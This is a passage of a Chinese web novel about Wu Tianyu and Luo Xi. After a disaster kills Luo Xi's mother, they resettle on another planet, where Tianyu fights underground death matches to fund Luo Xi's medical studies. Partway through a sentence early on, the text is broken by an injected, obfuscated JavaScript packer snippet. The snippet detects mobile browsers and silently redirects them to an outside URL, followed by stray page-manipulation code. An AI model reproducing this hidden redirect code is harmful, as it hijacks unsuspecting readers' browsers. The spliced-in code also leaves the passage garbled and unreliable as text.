后来,她似乎也默许了吴天语这样奇特的学习方式,尽管日常测试一塌糊涂、平日作业也乱七八糟,甚至上课连老师的提问都答不上来。 可每每到期末,吴天语总能得第一,甚至,怀疑他作弊的重考还是满分。 母亲想,或许他和自己一样,大器晚成,但总能在紧要关头赶上趟。 而吴天语和洛熙的感情似乎也越来越好,两人之间似乎有很多不为人知的小秘密,母亲很难过,每次休息或者送午饭时,都忍不住多看洛熙几眼,说说话。 可想到自己的宝贝儿,在未来终于能过上开心幸福的生活时,她又很幸福,巴不得两人的相处时间更多一点。 事情或许会像母亲预料的那样发展。 但既然是或许,就说明没有发生。 当洛熙学完复杂的高中课程,吴天语即将去读大一时。 这时洛熙已经不再好奇学校的生活,吴天语也对洛熙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15155404|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的过去了如指掌。 那场袭击发生了。 全城的百姓都避无可避。 禁锢洛熙的小天地轰然倒塌,代价却是埋没的母亲。 “接着!” 母亲从左下角的小口,一把将防护网撕开,将自己从窗户往外扔去。 院子底下,慌忙赶回的吴天语稳稳地接住洛熙,头也不回地往外奔跑。 “去空旷的地方!” 建筑轰然倒塌的声音将母亲的声音彻底掩盖,洛熙透过吴天语的肩头,看见自己讨厌的房间将“讨厌”的母亲吞没时,他猛地大叫一声:“母亲!” 然后眼前一黑,就昏了过去。 黑暗有时候不一定不好,它能让人逃避很多事情,也能掩盖很多不能被人接受的真相。 再次醒来时,他仍旧躺在吴天语怀中,吴天语已经沉沉睡去,但双臂却紧紧地箍住他。 洛熙抬眼望去,往日整洁的alpha此时满脸油灰,脸颊、脖颈,一切能看见的皮肤都不满大大小小的伤痕。 “各位同胞,我们即将抵达央星,你们将会被统一安置,分配到不同的星球。” 温柔的机械化女声传来,但并不能打破飞船上死气沉沉的气氛。 洛熙看着完全陌生的场景,眼中失去了好奇的神采。 央星。 母亲曾经最向往的地方。 终于,这一刻,自然的规律完成了它的第二步运作。 逃难的人群熙熙攘攘,军部的探索队在旁边维持秩序。 人们像失去灵魂的躯壳,按照随便一个人的指示,执行不知目的的命令。 偶尔,会有冲撞、摩擦。 大多数人会选择拍拍衣服,重新站起,继续麻木地排队。 也有一部分人,通红着眼,大吼:“我刚死了儿子!” “我全家都没了!” 然后又大打出手、抱头痛哭。 周边的人毫无反应。 探索队员也没阻拦。 吴天语背着洛熙,背上的人从醒来后一句话都没说。 “渴吗?饿吗?”沙哑的声音,吴天语轻轻摇了摇背部,然而没有得到回应。 幸好,有个拿着名单的探索队员在队中扫了扫,将两人带了出来。 “未成年人优先。”隔着面具,吴天语看不清那人的神情,见怪不怪的冷静话语却让他觉得,在这些人眼中,边缘小城的陨落仿佛不是什么大事。 他要紧嘴唇,乖巧地跟随。 休息处,多大年纪的儿童都有,甚至还有人怀抱着嚎叫的婴儿。 这些或许即将成为孤儿的孩子,有的怯生生,有的正在激烈地哭泣。 吴天语找到地方坐下,将洛熙换到腿上。 洛熙的样子,和周围格格不入,嘴唇干裂,眼中不满红血丝,他却平静得很,眼神空洞,像灵魂留在了那个小小的房间。 两人做了基础的医疗检查,所幸并不大碍。 检查完毕后,两人很快地收到了消息,他们分到了月轨2线比邻星的一处套二房间。 当工作人员询问吴天语是否能承担监护人责任时,灾后第二天恰好刚满18岁的吴天语点了点头。 于是,户籍被改写,吴天语拿到人生中的第一只光脑,听说是有人捐赠的。 光脑的投屏页,只有小小的两行,第一行的人名后面,写着“户主。” 临走时,吴天语听见不远处传来一阵热闹的声音。 他望过去,一个好似和他一般年级的少年被父亲扯住,严肃的父亲将少年的帽子一把扯下,厉声指责少年到处胡来。 而那个少年却满脸不服气,亚麻色的头发乱七八糟,却仍还算精致地盘在头顶,他一身藏青骑装,胸前有一朵雪贝牡丹胸针,好看的小腿被羊皮小靴恰到好处地包裹,眼中带着如同火焰般的斗志:“你们都能来,凭什么我不能来!” “你是omega!而且你的贵族教养呢,竟敢如此和你的父亲说话!”厉声呵斥并未让少年退缩,他一把扯过父亲手中的帽子,往远处跑去。 “就来就来,omega怎么了?omega照样能和你们做一样的事,我还捐了光脑呢!”风里带来少年快活的声音。 那位身着唐装、打扮得体优雅的贵族父亲一脸无奈,身边西装革履、手戴白手套的管家脸上却布满担心:“凌杉少爷……” “罢了,也就自由这两年。”接过管家手中的拐杖,那位贵族眼含悲痛,“去看看这些人吧。” 吴天语收回眼神,余光却正好瞟见身后的人也在看。 怕触景生情,吴天语快走几步,抓紧将洛熙从这里带离了。 这座小房子算不上精致,却也是很好的栖身之所。 家具基本配备整齐,还有一台小小的星视,两个卧室、一间厨房,还有一块空地能勉强隔出客厅和餐厅。 吴天语将洛熙放在沙发上,两人没有任何行李,好在央星给了他们三个月衣食住行的捐助,将由家政机器人送来。 光脑上,吴天语收到信息,大意就是他必须在三个月内找到工作,自力更生。 因为是灾民,今年对于他们的大学入学政策也有所改变,吴天语可以在月轨2线的大学中随意选择,申请书需要在一个月后提交,三个月后即可入学,如果想选择军校,则需要自行准备入学考试。 揉揉额角,吴天语一时间只觉得十分茫然,该从哪里开始? 做饭?洗漱?找工作? 如果,母亲在,她一定会告诉自己。 想到这,吴天语赶紧去看洛熙,他仍旧直愣愣地盯着某处,吴天语循着目光,摸索着将星视打开,丰富多彩的画面一出现,吓了他一跳。 “新闻。”沙发上的人终于出声,吴天语一脸惊喜。 洛熙却在说完这句话后,再次回到了刚才的样子。 好不容易找到遥控器,虽然就放在星视旁边,笨拙地摸索着按键,好在洛熙并未出声催促。 但吴天语仍有些失落。 新闻台调了出来,一个长相端正的beta在放送着灾情处置的情况。 恰好敲门声响起,吴天语从家政机器人手中接过补助,幸好有做饭的经验,他很快规划好了物资的使用,开始做饭。 然而直到吃完饭,洛熙仍盯着屏幕,身前的饭菜已然凉透。 哪怕星视此刻正在上演一部无聊的电视剧。 “你需要休息,洛熙,”吴天语很少叫洛熙的名字,因为他记得以前叫他名字时,洛熙虽然笑嘻嘻,眼中却不耐地厌恶,“新闻也是需要休息的,你得吃饭得睡觉,这样才能……” 说到这儿,吴天语也没再说下去,他紧抿嘴唇,不再言语。 “你为什么不哀伤?”洛熙看向吴天语,那双眼睛里,是无处安放的不安,那头野狼,在旷野上被风吹迷了眼睛,找不到前进的路。 “你为什么不哭?为什么还能吃饭?为什么还能睡觉?”声音越来越大,带着不满,“是我母亲对你不好吗?她送你上学、供你吃穿,现在她没了,你是户主了,你高兴了吧?头顶上没人压着,开心了吧?” 双拳如同落雨般落在吴天语的头、肩,人在暴怒时,迸发的力量不可估量,尽管眼前都有雪花闪过,吴天语仍旧挺着身体,让洛熙捶打到疲惫,坐在沙发上大口喘着粗气。 “吃饭吗?吃完了才有力气打我。”吴天语递过餐具,洛熙将餐盘掀翻,一瘸一拐地向最大的卧室走去,然后重重关上了门。 留在原地的吴天语过了好久,才将打饭的粮食收集,好在地面干净,这些东西,他可以明早接着吃。 在沙发上一直坐到午夜,吴天语才拿起伤药走进洛熙房间,揉搓他扭伤的脚腕。 柔弱无骨的脚腕肿得老高,吴天语却只能用力,洛熙太累了,累到只能不满地哼唧。 将被子给洛熙轻轻盖上,吴天语才将自己的伤口潦草处理。 他没有洗漱,睁着眼睛,直至天亮。 第二天一早,他做好早饭和午饭放在保温箱中,将昨日被扔掉的饭菜吃过后,才出了门。 临走时,他将星视打开,调到了新闻频道。 新闻上,正播报一个omega为自己的孩子挖了一个洞,却没有得到救赎,双双殒命。 当搜寻机器人终于发现这里时,那位omega半身压在石板下,和怀里的孩子一样早就没了气息。 天色摸黑,吴天语终于回来,他满头大汗,身穿一套不合身的西装,放下手中的袋子,先去查看保温箱中的餐食,一动未动。 望着沙发上的人,洛熙瘦得脸颊都有些凹陷,吴天语不知哪里来的一股意气,拿起一把调羹,端着白粥,朝他走了过去。 Alpha对omega,可以想象到结果的战局。 半份白粥在洛熙不断的咒骂声中被喂进去时,吴天语才放开洛熙的手,又是一阵落拳。 不知道是不是有了力气,吴天语觉得,比昨天更疼了一些。 “我恨你!”洛熙大吼,接着开始干呕,好不容易喂进去的白粥似乎马上要被吐出来。 吴天语拍着他的背,顺气。 “为了母亲,洛熙,为了母亲,”吴天语声音打着颤,语气急躁却又温和,“她在天上,也不忍心你这样的。” 这句话似乎起了作用,洛熙靠在吴天语怀中,依旧喘着粗气,逐渐平复。 这晚,给洛熙抹完药后的吴天语,合眼休息了两个小时。 后续几天,吴天语早早出门、擦黑回家,他皮肤再次被晒得黝黑,手中袋子里的彩页越来越多,好在从第二天开始,洛熙每天都会喝半碗米粥,走路也不再一瘸一拐。 然后没日没夜地守在星视前。 第15天时,正在外面的吴天语,突然听身边的人说:“哎,你听说没有,今天央星要公布受灾原因。” “什么受灾原因?” “就月轨1线最外围那场事故啊!” 听闻此言,吴天语猛地将手里的彩页塞到袋子,然后狂奔回家。 “那人跑什么呢,慌慌张张地,撞到人知不知道!”身边的人不满,“神经病!” 打开家门时,洛熙已经坐在星视前面的地板上,他睁大双眼,紧紧盯着接下来的讯息。 吴天语也扶着门框气喘吁吁。 “此次灾情,是来自不明生物的恐怖袭击,该生物来自受灾地区外围尚待探索的不明区域,经专家鉴定,似乎具有独立思维,为有组织、有预谋的袭击。” “军部探索队紧急出动,将灾情稳定在外部郊区,中央地区,也是主要人群聚集地,并未受到严重伤害,王室对此高度重视,受灾群众也已得到妥善安置。” 接着,是一张不明生物的照片。 “经多日商讨,星联决定,拨付人手,将受灾地区快速重建,已分配住房的受灾群众可以凭户籍优先搬回重建区域。由于外部地区受灾严重,存活人员极少,因此,重建方案为,以受灾尚轻地区为基础,加以修复完善,并将其重新命名为‘亚硫城’。” 一时间,两人陷入沉默。 良久,一道哭声传来:“这算什么?” 压抑的哭泣响起,一声一声,像鬼魂的悠嚎,空气中飘来一股苦苦的杏仁味。 虽然不明所以,吴天语却瞬间锁起房门,将房内的空气交换机打开。 这是他这些天刚学到的。 他走过去,嘴唇哆嗦了好久,才勉强出声:“你得去医院。” “这算什么?”看到来人,洛熙终于哀嚎出声,豆大的泪珠练成了线,在地板上很快聚集了一滩,“天语,他们在骗人!” “我知道,我知道,”搂住悲痛欲绝的人,轻拍他的脊背,吴天语咽了咽口水,嗓子里像是被石头堵住了一样难受。 “那个生物,那些人明明跟母亲说过的,”上气不接下气,洛熙仿佛要窒息,“那是军部新收集看管的,为什么让它跑了出来!” 眼看着洛熙更加苍白,嘴唇上的血色褪去,吴天语慌慌张张地说道:“洛熙,喘气,快喘气。” 空气中,一股好闻的、梦幻般的香味传来,它不属于世界上已知的、除了人类以外的任何一种生物。 信息素的交融,让洛熙逐渐平复了下来。 下一秒,他浑身顿起高热,整个人陷入昏迷,吴天语抱起他时,他还在梦呓:“为什么、为什么。” 在原地转了几圈,吴天语才想起要拨打急救通讯。 两人被很快赶来的救护飞艇带走,救护人员处理好洛熙,随即关切地看向吴天语:“你没事吧?” 在omega信息素暴乱下还能保持理智的alpha,估计还没有。 然而令救护人员惊奇的是,吴天语竟摇了摇头,出于谨慎,还是给他做了检查,一切正常。 估计吸入的还不是很多,救护人员推测。 而吴天语却仍旧能感到空气中的杏仁味道,它悲伤、缓慢地停滞着,偶尔流动,却带着深沉的恨意。 “他没事吗?”吴天语急忙向救护人员确认。 救护人员再次做了检查:“没有任何问题,体征正常,信息素也不再泄露了。” 闻言,吴天语疑惑地看向洛熙。 那他这股奇怪的感受是怎么回事? 好在救护及时,洛熙没有引起社会紧急事件。被医生好一顿教育之后,吴天语签字,两人才离开医院。 摸摸脖子后面的抑制贴,洛熙看着身下的吴天语。 此刻,他终于清醒过来。 这个后背宽阔而温暖,似乎和母亲的一样。 想到母亲,洛熙闭上眼睛,如果母亲还在,她也会心疼这个人,明明半个月前还是个孩子,现在却要承担起一切,包括他这个神志不清的“未婚夫”。 “对不起,天语。”哽咽着,可能因为发热期的影响,洛熙格外爱哭,他记起所有的事情,“我不该那样打你,欺负你,你怎么不还手啊。” 他摸着吴天语变得不在顺滑的短发,心疼地说道:“母亲在天上看着,也会心疼的。” 这一刻,吴天语呼吸忽然变得沉重,他的手臂仍稳稳托着身上的人,可脚下的路,却被水雾遮挡得毫不清楚。 仍旧步履稳健,他循着记忆,往家的方向走。 路过的地方,飘落着几个近乎水滴的湿润形状。 “我们还是朋友吗?”良久,吴天语沉闷的声音传来。 “当然,我们是世界上最好的朋友。”抽泣的洛熙回复。 “但是,天语,你说,为什么只有骗子,才能处在天一样高的位置呢?” 一切,伴随着洛熙的长大,好像恢复了正常。 吴天语找到了一份可以糊口的工作,洛熙提出想去他的工作地点看时,却被拒绝了。 “那边又脏又乱,等我变成领导,收拾好他们再去。”摸摸洛熙的脑袋,吴天语安慰,“而且,你还有别的事呢。” 洛熙准备去上大学。 作为omega,虽然上大学并非是法律禁止的事,但上大学的omega却比凤毛麟角都少。 洛熙想试试,军校已经pass了,他的身板根本过不了关,想来想去,他决定选择月轨2线最有名的综合大学的医科专业。 “挺好的,可以看到很多奇妙的东西。”吴天语点点头,对洛熙表示赞同。 “你不觉得omega学这种血丝糊拉的专业很……恶心吗?”洛熙问道。 吴天语摇头,他并不在意这些事,只希望洛熙能做自己想做的就行。 而且,他早知道他是一匹无法驯化的野狼。 “你不后悔吗?”洛熙又问,因为两人之中,只有一个人能去上大学,另一个人必须赚钱养家。 再次摇摇头,吴天语温和地笑着:“我觉得我比较擅长赚钱。” 撇撇嘴,洛熙也不再说话,过多的询问只会显得自己假惺惺。 卡着最后一天将申请表提交上去,很快洛熙便收到了回复,以为他尚未成年,所以入学前提前进行必要的专业考试,随着回复来的,是一条长长的参考书目。 “啊……”洛熙想了想,为了两个月后的考试,他决定恶补一下各类知识。 于是他央求吴天语带他去图书馆。 离开了那个小房间,洛熙并没有想象中的自由,反而感到了许多不适。 走在这个从未谋面的地方,人群会对omega投来各种异样、不舒服的目光。 不屑、惊讶、轻视、色欲。 他仿佛还身处在那个小房间中,却没有那样的安全感。 会感觉自己被两堵墙壁紧紧地挤在中间,一时间喘不上气。 天地虽大,皆是牢笼。 自由并不意味着平等。 不甘心自己向往的一切竟然这样不堪,洛熙决定要向这个世界发起挑战。 他还有更大的梦想,怎么会为这样的挫折踌躇不前。 于是,他通过光脑,吸收了各类奇奇怪怪的知识,认识了许多神神秘秘的人,其中就有一个可以□□的。 那人用吴天语的身份证明,替换了洛熙的照片,瞒过图书馆检验机的一层防护轻而易举。 但为了避免洛熙这样的人存在,最后,还需要alpha在检验机上刷一下虹膜。 因为图书馆分为A\O区,两种性别看的书目是不一样的,beta倒是哪里都能进。 但beta肯定选择A区,聊天室的人说,因为O区的书籍都是家务、打扮相关的,对洛熙考试,没什么实用性帮助。 身份证的性别,决定了读者的去处。 基本所有的alpha都不会支持omega冒名进入图书馆,在alpha人群中的omega,万一信息素暴乱怎么办? 但吴天语不一样,他确认洛熙的抑制剂已经打好,将他送进去后,就转身离开了。 两人来得很早,周边没有人能看到这一操作,而且吴天语只需要靠近轻轻一撇,哪怕别人看到了,也只会觉得这俩alpha靠得真近,情义无价。 于是两个月内,戴着口罩、提着抑制剂的洛熙,如鱼得水地将A区的书,研究了一遍。 考试的那天,临近考场,吴天语递给洛熙一只新的光脑。 除了外表崭新,连系统也是最新的。 “你不要乱花钱,”难以抑制嘴角的笑意,洛熙接过那只光脑,爱惜地反复观看。 “快进去吧。”没有什么加油的话语,吴天语就站在原地,温和笑着。 他总是这样。 像春天的微风,温然和煦;像冬天的大海,包容丰收。 望着洛熙的背影,吴天语特地请了假,找了个地方坐下,准备等待考试结束。 突然眼前有一个人影慌慌张张地走过,是一个alpha男性,银色长发被一根亮晶晶的黑色皮筋简单扎在胸前,雪一般冷白的皮肤,金色的细框眼镜架在高挺的鼻梁上,流露着一股优雅的气质,眼眸流转间,桃花眼风情无限,嘴角或许是天生的,微微勾起,淡粉的唇色将那股高冷的优雅与温柔中和,相得益彰。 天气温暖,他却仍旧身着薄薄的长款深色风衣,更衬得他清雅出尘,米白的打底、浅棕的西裤,却又正好将这份谪仙般的高高在上变作了温和。 只是此刻他手中的书本却不甚听话,稀里哗啦散了一地。慌张的模样仍旧雅致,苦恼的情绪也让人不忍。 好漂亮的alpha。 估计是学校里的学生,吴天语走上前,帮这位洛熙未来的同窗把书本捡了起来。 “谢谢你。”和外表不同,他的声音是不需要中和的温暖,让人忍不住想和他说话。 接过吴天语手中的书籍,他似乎在苦恼。 吴天语看到每本书的书脊上都画了不同颜色、不同形状的符号,虽然搞不清楚是什么,但吴天语又帮他整理了一下。 “左边是人类演化相关的书籍,右边是生物学和医学。”吴天语解释,随即又温柔地笑了,“你也学医啊?” “谢谢你!”那人听到书籍的排序后,表情瞬间明朗了起来,“你也学医?” “那倒不是,我……弟弟,今天正在医学院那边考试。”吴天语笑着说,凑近了,他才发现这个alpha的眸子也是银色的。 “今天?医学院?”alpha思考着,随即问道,“你弟弟是omega吗?” “你知道?”吴天语更惊喜了,他肯定地说道,“辛辛苦苦准备了两个月,没什么问题,肯定能考上。” 漂亮的alpha笑出声,却没带着什么恶意,似乎只是单纯对这位兄长的“王婆卖瓜”逗笑了。 “你忙吧,”吴天语赶忙说,怕耽误这人的学习,“要是你和我弟弟成了同窗,麻烦照顾一下。” 那人点了点头,再次道谢后,离开了。 考试结束,吴天语老远就看到洛熙一蹦一跳地走了出来。 这明显就是考上了。 “你知道吗?天语,今天那几个老家伙就是来为难我的,”洛熙张牙舞爪,似乎在和什么怪兽打斗,“可惜他们出什么我也能回答,完全难不倒我!” 本想列举几个,又想起吴天语听不懂这些,洛熙才继续往下说,他的拳头在空中飞舞:“最后他们竟然想用‘招满了’这种理由来搪塞我,当然,这样的理由,我估计申请重考也没用。” 说到这儿,洛熙不屑地撇嘴:“没想到这些看起来慈祥刚正的教授,却都是些脑子进水的歧视者。” “你怎么不问我考上了没?”看着吴天语的表情仍旧平稳,洛熙好奇问道。 “一定考上了。”吴天语斩钉截铁。 “没错,幸运女神总是眷顾努力的人!”洛熙再次举起拳头,“过了一会儿来了另外一位教授,他很年轻,也是个alpha,那些老家伙对他好像十分恭敬,简直像个舔狗。” “那个年轻教授一锤定音!当场录取!他说,‘能答上来这些问题的人,放在医学系,都有些屈才’”,如果洛熙有条尾巴,此刻一定是高高翘起,“那位教授长得很温柔,和你一样,如果我能选他的课,就好了。” 一路叽叽喳喳,两人相携而去。 微风吹来,刮起两人的衣裳,靠得极近的衣角似乎马上要融为一体,不同材质的布料却又泾渭分明。 于是微风作曲,划过树叶水面,拨弄花芯虫蝶,遥遥唱着:“祸兮福所倚,福兮祸所伏。” 终于,这一刻,自然的规律完成了它的第三步运作。 51.人生五步之后两步(alpha吴天语和omega洛熙)[番外] 变化是什么? 听人说,变是外在形态的比旧不同,化是内在核心的重新塑成。 变化一定是好事吗? 对吴天语来说,他也不清楚。 大一的洛熙开始住校,明明两人有独立的房屋,他却选择拥挤的宿舍。 理由是:我有些别的打算,周末会回家。 或许也不算拥挤,因为上学的omega很少,那座建成用来彰示平等的宿舍,放几十个洛熙也绰绰有余。 望着光脑,吴天语手指来回摆弄了很久,终究选择熄灭屏幕。 不回来也好,正好他跟老板接了新业务。 新的业务,和过去相比,强度提升较大,连带伤痕也会多,而且更明显。 而单位里的那台过时的医疗机,怕是不能轻易让这样的外伤迅速愈合。 但是每个周末前,一定得愈合,不然会被洛熙发现。 一句“擅长赚钱养家”,可不能说说而已。 但很快,吴天语发现,连周末,洛熙回来的间隔,也越拉越长。 他好像总是很忙,忙着去抢喜欢的课、去操作室泡着、甚至去图书馆也不需要吴天语陪着了,学校的图书馆,只要有学生证,他可以看到一切他喜欢的书。 说这些话的洛熙很漂亮。 像……像什么呢?吴天语思索,像每次他休息时矿泉水瓶上被阳光照亮的水珠、像下班经过糖果店时omega喜欢的麦芽星星糖。 尽管吴天语不懂什么是生物解剖、什么是无菌操作,连洛熙书本上的图画都看不明白,但他还是真心地感到高兴。 那匹阴险狡诈、斗志昂扬的狼,终于找回了方向。 假装没看到洛熙偷偷藏起的衣袖,吴天语想,哪怕找回的路途,好像很累。 对于吴天语,两点一线的生活,不新鲜的日常、无聊的日常,每每他也只能对洛熙说一句“以后再说”。 所以,就算不回来也没关系,吴天语想,反正也没什么话好说。 他转头,脸刚好映在镜子里。 奇怪,吴天语皱眉,他以为自己仍像洛熙喜欢的那样笑着,然而却是面无表情吗? 终于第四个月,吴天语有了一点点自己的“谈资。” 工作的时候,他遇到两个人,一个胖乎乎、眯眯眼,配合着复古的爆炸头,像一个五彩缤纷的雪人。一个瘦高高、戴眼镜,却有个粉色的锅盖头,像夏日汽水广告上画的滑稽小人。 他俩都是beta,吴天语最喜欢的性别。 “老兄,你是这个,”阿瑞亚,也就是那个雪人,比了个大拇指说,“啧啧,太狠了、太狠了。” 擂台周围的人群激奋,尖叫着、怒吼着往吴天语身上扔钱,顺带将阿瑞亚的脸也狠狠挤在全息围绳上,勒出了红痕,嘴唇都上翻了一半,可这个人仍旧絮絮叨叨:“打街拳的狠人那么多,打死拳的可就你一个。哥们儿你啥事儿能去豁命啊!” 不在乎身上的打赏,吴天语靠在柱子上,紧紧盯着上方的显示屏。 口腔内的皮肤尽数破碎,耳边嗡嗡作响,吴天语感受不到鼻子的存在,咳嗽了几声,觉得,好像肋骨也断了几根。 尽管眼前迷蒙一片,他仍看见了屏幕上的数字,是四个月以来最高的一次。 他忍不住咧开嘴笑了,不知道自己现在的模样,但旁边的“雪人”连连惊呼“恐怖”,怕是不能好到哪儿去。 太好了,他想,他可以给洛熙买很多的书,各种各样的纸质图书。 接着,吴天语眼前一黑,雪人吱哇乱叫地更厉害了,还是粉头发的那个人,叫李光,把老板叫了过来。 再次醒来时,他躺在熟悉的医疗仓内。 外面有两个人在说话。 “他不可能答应的,既然打死拳,就一定是很需要钱。”这人听起来言语稳重,深思熟虑。 “但是生命只有一次啊,以他的学历、经验啥的,找不到什么正经工作,干这个也比打死拳强吧。”这人听起来跳脱乐观,就事论事。 “麻烦你小点声,在人家眼皮子底下挖人,还这么叫嚣!”前者似乎把后者的嘴巴捂住了,吴天语听到一阵“唔唔”声。 他推开仓门,坐起身来,两人被吓了一跳,双双站了起来。 “哎呦你伤还没好,快躺下吧。”相对较胖的那个人表情夸张,估计自己的模样仍旧不太好看。 果然,自己咳嗽了一声,胸口仍旧隐隐作痛。两只脚腕的淤肿鼓得老高。 而高个儿的那个人,给两人做了自我介绍。 吴天语知道他们,从他打街拳时,这两个人总来看,虽然玩的钱数不多,可总是押自己。 这俩人不像其他来的人,吴天语输了的时候,还被人围堵过。他俩不论输赢,从没变过脸,有时会偷摸给自己买些街边便宜的小吃。 胖胖的那个叫阿瑞亚,高高的叫李光,他俩似乎形影不离。 后来吴天语找人偷偷打听过,原来这两人也是受灾分配来的,甚至跟洛熙还有自己是同一个村子。 只不过交集较少,从不认识。 两人犹犹豫豫,吴天语温和地说:“说吧,什么事?” 于是两人说明了来意,大约就是,俩人现在在混帮派,但是领头大哥想“开疆扩土”,手底下却没人,两人一直看自己打拳,就想到了自己,结果再来的时候,自己已经“换工作”了。 “我大哥虽然地盘小,但人仗义,”阿瑞亚拍拍胸脯,“不会亏待你的。” 想起两人抠抠搜搜的模样,吴天语暗暗认为,这话水份很大。 “总比你现在打死拳强,再说,你都赚这么多钱了,干嘛不找个先进点的医疗机……”阿瑞亚还没说完,就被李光捣了一拳。 “他这人,说话不过脑子,多担待,”李光身上些做作的书香气,“你可以考虑考虑,想必你的家人也不会想看你这样。” 动之以情,晓之以理。 吴天语看到光脑上多打进来的钱,估计昨晚那位远道而来的老板十分满意,再抬头,他拒绝了他们的“好意。” 我的家人,洛熙算吗? 他不确定。 最终,两人在阿瑞亚小声吐槽着“越有钱越抠,连光脑都舍不得换”的声音中离开了。 老板允许吴天语在医疗仓内多呆一会儿,吴天语道了谢。 叼着烟,老板倒三白的吊梢眼满是精光:“没事没事,这点不算什么。” 只是吴天语没想到的是,这两人似乎没有轻易放弃的打算。 柜子里多了一瓶不算昂贵的蛋白粉、菜市场的商贩总会在瞄过自己身后就便宜几块、连总是路过的糖果店在今天都硬塞了自己一张“一等奖券”。 望着手里的五颗星星糖,丰富多彩的颜色让它看起来美味极了。 而且,它的价格也注定,它必然是十分好吃的。 吴天语笑了笑,在洛熙不回来的某个周末,他第一次招待了家中住客以外的客人。 为此,他从旧货市场提前淘了两把椅子。 新的世界,修补椅子的吴天语想,会和洛熙一样快乐吗? 好像会。 三人的关系逐渐变好,尽管在阿瑞亚眼里,吴天语仍“不知悔改”地打着死拳;李光也总是会拉住冲动的某人,然后给吴天语递上一管伤药。 “偏方,用这个治跌打损伤,十分厉害,据说是古星传下来的方子。” “得了吧,他就是怕死!老爱买些乱七八糟的保健品!”阿瑞亚毫不留情地戳破,“就他这副眼镜都是为装文化人买的,没上过学,瞎折腾啥啊!” 于是两人恼羞成怒,大打出手。 吴天语收起药膏,笑着,也不阻拦。 哪怕跟好友,他也不像在洛熙面前那样,喜爱说话。 原来比邻星有洛熙常说的“大海”、住宅后面的荒山藏着一棵会开花的树,阿瑞亚会酿低成本却好喝的果子酒送给商贩和邻居,但总是教不会李光和吴天语这门制酒的手艺。 “我们三个是一辈子的兄弟。”树下,三人喝着难喝的果子酒,波光粼粼的大海见证了誓言。 穿衣、习惯、喜好、眼界,吴天语产生了变化。 唯一不变的,是他在碎片化的时间中,仍旧见缝插针地想起洛熙。 阿瑞亚和李光问起他打拳的缘由时,吴天语仍旧还是一样回复:“以后再说。” 洛熙大二的开始,吴天语送他开学。 在巍峨庄严的学校门口,一堆人打在了一起。 穿着制服的,是学校的安保人员,看到其余的两个身影,吴天语却心中发沉。 将洛熙赶忙送进了大门,看到他头也不回地离开,吴天语快跑过去,拨开不知何时围上的人群,将四人分开。 “天语!”顶着一张青紫的脸,破皮的嘴角哆嗦着,阿瑞亚的表情像是看到救星,“快来帮忙,这群狗眼看人低的家伙,竟然欺负在这里摆摊的beta奶奶!” “恶人先告状!”保安扬着手里的短棍也不甘示弱,他们衣着外协,说话也流畅得很,“你们这群地皮流氓,天天在这儿瞎溜达找事儿,欺负学生,还殴打无辜群众!” “哎呦,疼死我了疼死我了。”另外一个保安,将帽子一扔,露出大汗淋漓的头发,就坐到地上撒泼了起来,“现在还找帮手,一个alpha,来欺负人!” “胡说!”李光珍爱的眼镜,此刻早已不知所踪,他眼角肿起,脸颊上还有道长长的红痕,“明明你们嫌弃人的!” 他转头望去,那个摆摊的人却不知在哪里。 周围的人,大多数是学生,看见这一幕,开始窃窃私语。 吴天语耳朵灵敏,舆论并未偏向他们这一方。 “走吧。”吴天语拖起两人,他也紧张得很,怕被人发现自己和洛熙的关系。 “咦?”一道温和的声音传来,“你不是洛熙的……” 吴天语不敢回头,他此刻无比恼怒,却又只能死死压着,手下的动作又快了几分。 阿瑞亚两人看出他情绪不对,虽然茫然,却也抓紧起身,准备跑走。 “正好,洛熙也在这里。”那个漂亮的alpha说道,这句话彻底冻住了吴天语的脚步。 他不知道该不该转头,可空气中苦杏仁的味道弥漫着淡淡的压抑。 他还是转过了头,张开嘴,却不知道说什么。 不幸的是,旁边的人替他接了下去:“我认识他!他在黑市里打死拳的!我母亲还压过他的注呢!” 人群哗然。 接着,他们看向洛熙的眼神也产生了变化。 幸灾乐祸。 如果吴天语知道这个词,他现在,就一定不会迷茫于,该如何形容这种看到的、充满黑色的眼神。 “比起这个,我校规定学生不允许进黑市,”那个漂亮的alpha瞥了出声的学生一眼,声音仍旧温和,可那个学生却被银色眼眸中凌冽的寒意吓了一跳,“自行退学。” 瞬间,人群再次变了,这次,他们噤若寒蝉。 包括,那两个保安。 “我觉得,你们或许可以去我办公室坐坐,刚好,给这两位做下处理。”好心的教授提议。 “不必,”这次是洛熙开口,他脸上仍旧挂着恰到好处的笑容,不生气也不惊奇,不尴尬也不着急,似乎眼前的这一幕与他无关,“我还要上课。” 伴随着他无所谓地离开,人群也散开了。 离教授很远的地方,却仍能看到鬼祟的回头和窃窃私语。 那位教授仍站在原地。 阿瑞亚和李光更是在原地,动也不动。 慌张的眼神,暴露了他们如锅上蚂蚁一样焦急。 “带他来我办公室吧,”终于,还是那位教授一锤定音。 在保安谄媚的目光中,两人扶着吴天语,踏进了他们这一辈子都可能不会进入的地方。 被人带走的吴天语却十分木然,他只觉得天地间一片空白,自己也是那抹空白。 空白的地方,有些早已被他忘记的片断闪过:粗粗的针管、戴着口罩拿着光脑的人和一只蓝色小狗玩具。 “砰!”巨大的震荡终于让他回神。 将头回正,对面的好友脸上满是惊愕。 漂亮的alpha满意地甩甩手:“醒了?” “你是。。。谁?”吴天语茫然问道,眼前的人有种说不上的熟悉。 好友的脸色变得更凝重了,莫非是一巴掌把人打傻了? “嘶,”漂亮的alpha动动手指,小声询问,“你记得洛熙吗?” “嗯,”一听见这个名字,吴天语就忍不住勾起嘴角,“你是洛熙的熟人?” 这下,教授的表情也凝重了起来。 他随意地从桌上拿起一样物品,询问道:“这是什么?” 等了一会,吴天语才回答:“嗯……相框?” 接着他又指了许多物品,吴天语虽然都答得上来,却反应极慢。 “刚才的事还记得吗?”突如其来的询问,吴天语愣了一下。 随即,他笑起来:“记得。” 